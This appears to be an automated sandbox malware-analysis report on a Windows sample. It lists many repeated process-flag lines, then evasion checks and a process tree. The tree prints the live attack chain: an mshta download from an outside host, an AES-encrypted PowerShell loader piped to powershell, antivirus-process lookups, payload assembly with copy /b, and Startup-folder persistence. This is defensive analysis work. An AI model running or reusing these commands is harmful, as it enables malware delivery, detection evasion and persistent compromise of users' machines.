Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00007FF848870F6D sldt word ptr [eax]

8_2_00007FF848870F6D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2002	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6529	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2480	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6639	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1776	Jump to behavior

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Producing

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3784	Thread sleep count: 2002 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3784	Thread sleep count: 1000 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7324	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7540	Thread sleep count: 6639 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep count: 1776 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D65080 FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	12_2_00D65080
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D63C80 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	12_2_00D63C80
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D64ED0 _DebugHeapAllocator,FindFirstFileW,_DebugHeapAllocator,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetCurrentDirectoryW,SetFileAttributesW,RemoveDirectoryW,	12_2_00D64ED0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: mshta.exe, 00000004.00000003.2026299956.00000278B746A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Identification.pif, 00000019.00000003.2990182254.0000000001E20000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: mshta.exe, 00000004.00000003.2026672661.00000270B5122000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037570501.00000270B5122000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033570045.00000270B5122000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2011262421.00000270B5122000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mshta.exe, 00000004.00000003.2026299956.00000278B746A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000008.00000002.2244988857.0000023DA3119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllon oS
Source: Identification.pif, 00000019.00000003.2990182254.0000000001E20000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: mshta.exe, 00000004.00000003.2011262421.00000270B508C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B5090000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B5093000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW H
Source: mshta.exe, 00000004.00000003.2011262421.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: 12_2_00D69F30 LoadLibraryA,GetProcAddress,GetWindow,GetWindow,

12_2_00D69F30

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D87CD5 SetUnhandledExceptionFilter,		12_2_00D87CD5
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D87F44 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		12_2_00D87F44

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: 12_2_00D61E40 memset,_DebugHeapAllocator,ShellExecuteExW,WaitForSingleObject,CloseHandle,

12_2_00D61E40

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" http://whitemansearch.shop/setup	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ \| powershell -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/2ZrVm4	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\ClassroomEc.exe "C:\Users\user\AppData\Roaming\ClassroomEc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Avoid Avoid.bat & Avoid.bat & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 29026	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Producing + Imaging + Phd + Ada + Organ 29026\Identification.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Conf 29026\m	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif 29026\Identification.pif 29026\m	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $giwxcqo = 'aaaaaaaaaaaaaaaaaaaaah+ni+e0b2ks3mmnd0sjpk+fk7mupfilz9vvektme+yyv7vbgriarnlhwocdd3xnpyazs1tppp56hnlmknzg3rqllzowww3pr9gtvi4pqrfz4ymgg1kimek8k6tsh0fmp/6pzslccm7m343xsrtqho71kivioxddv9rxueizsvv/r8wv5pa7k2heaf/g1dnaet06jn6lwy+3xxybiz8z2sgfrwiakmlk9dab/leruy0oedx+hdr0opeuvodl8s3tyxpu555rlx05ctd0togq2y+lnpx6fd4bm0mfpap0pqtz0trl0pba/499qw6oyztygixjq47fiytqqcaizp9wkwplfvpxmsua7noylmdcjhqwuyn6keasq952ex0uepaiptsxaqoa6loyomefpb1evpj3uzmpl9bhjdqjhn1/olox0/aplc7vbmqv7fidtyco5ezzrtdcgspb4g8s6vz9sjg0qng+jhmufydvdumhxrj23a1qyqubslmhjdw4snduud7htfvqeags/sl3nlutqkpifmztty2alus2sdq4ofb+z/wvupl80+6+lh5xqnj8m1zd2oz2juag9qcds6ed1lwbdfwkgk1cexwfukroqw+5t52gj98o+jln7pagkzcbb87qc9dofnvz0xr6nvkj3ydwbpve9gy2ursq2smekc28xeg/ogbv4h/40vymmq48szmio+dl98hetduyjda10+uktzg0zrz9tre7n2dualc7akhfke8xxtlsjebjab+74tbyhg6tbn3q8jestwfhavcg/74qyryhv51rgapus4yimlfgdci+kn5tho8qhfy2apvsjgwwvc4nanwywkeodgvs3cud2h7z0etr930+qcff';$pavnvyn = 'ew1fbe1lt2rgdgv3txdrulpywffrbnzgefdtd1r3z2w=';$hgjhdnd = new-object 'system.security.cryptography.aesmanaged';$hgjhdnd.mode = [system.security.cryptography.ciphermode]::ecb;$hgjhdnd.padding = [system.security.cryptography.paddingmode]::zeros;$hgjhdnd.blocksize = 128;$hgjhdnd.keysize = 256;$hgjhdnd.key = [system.convert]::frombase64string($pavnvyn);$fmshi = [system.convert]::frombase64string($giwxcqo);$hwklsipl = $fmshi[0..15];$hgjhdnd.iv = $hwklsipl;$bkvkozaiu = $hgjhdnd.createdecryptor();$wonqxsfki = $bkvkozaiu.transformfinalblock($fmshi, 16, $fmshi.length - 16);$hgjhdnd.dispose();$lmmkhz = new-object system.io.memorystream( , $wonqxsfki );$dylrlk = new-object system.io.memorystream;$cyowfotfz = new-object system.io.compression.gzipstream $lmmkhz, ([io.compression.compressionmode]::decompress);$cyowfotfz.copyto( $dylrlk );$cyowfotfz.close();$lmmkhz.close();[byte[]] $ohxploz = $dylrlk.toarray();$mkeeaj = [system.text.encoding]::utf8.getstring($ohxploz);$mkeeaj \| powershell -
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\neuralink.url" & echo url="c:\users\user\appdata\local\neuraconnect technologies\neuralink.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\neuralink.url" & exit
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $giwxcqo = 'aaaaaaaaaaaaaaaaaaaaah+ni+e0b2ks3mmnd0sjpk+fk7mupfilz9vvektme+yyv7vbgriarnlhwocdd3xnpyazs1tppp56hnlmknzg3rqllzowww3pr9gtvi4pqrfz4ymgg1kimek8k6tsh0fmp/6pzslccm7m343xsrtqho71kivioxddv9rxueizsvv/r8wv5pa7k2heaf/g1dnaet06jn6lwy+3xxybiz8z2sgfrwiakmlk9dab/leruy0oedx+hdr0opeuvodl8s3tyxpu555rlx05ctd0togq2y+lnpx6fd4bm0mfpap0pqtz0trl0pba/499qw6oyztygixjq47fiytqqcaizp9wkwplfvpxmsua7noylmdcjhqwuyn6keasq952ex0uepaiptsxaqoa6loyomefpb1evpj3uzmpl9bhjdqjhn1/olox0/aplc7vbmqv7fidtyco5ezzrtdcgspb4g8s6vz9sjg0qng+jhmufydvdumhxrj23a1qyqubslmhjdw4snduud7htfvqeags/sl3nlutqkpifmztty2alus2sdq4ofb+z/wvupl80+6+lh5xqnj8m1zd2oz2juag9qcds6ed1lwbdfwkgk1cexwfukroqw+5t52gj98o+jln7pagkzcbb87qc9dofnvz0xr6nvkj3ydwbpve9gy2ursq2smekc28xeg/ogbv4h/40vymmq48szmio+dl98hetduyjda10+uktzg0zrz9tre7n2dualc7akhfke8xxtlsjebjab+74tbyhg6tbn3q8jestwfhavcg/74qyryhv51rgapus4yimlfgdci+kn5tho8qhfy2apvsjgwwvc4nanwywkeodgvs3cud2h7z0etr930+qcff';$pavnvyn = 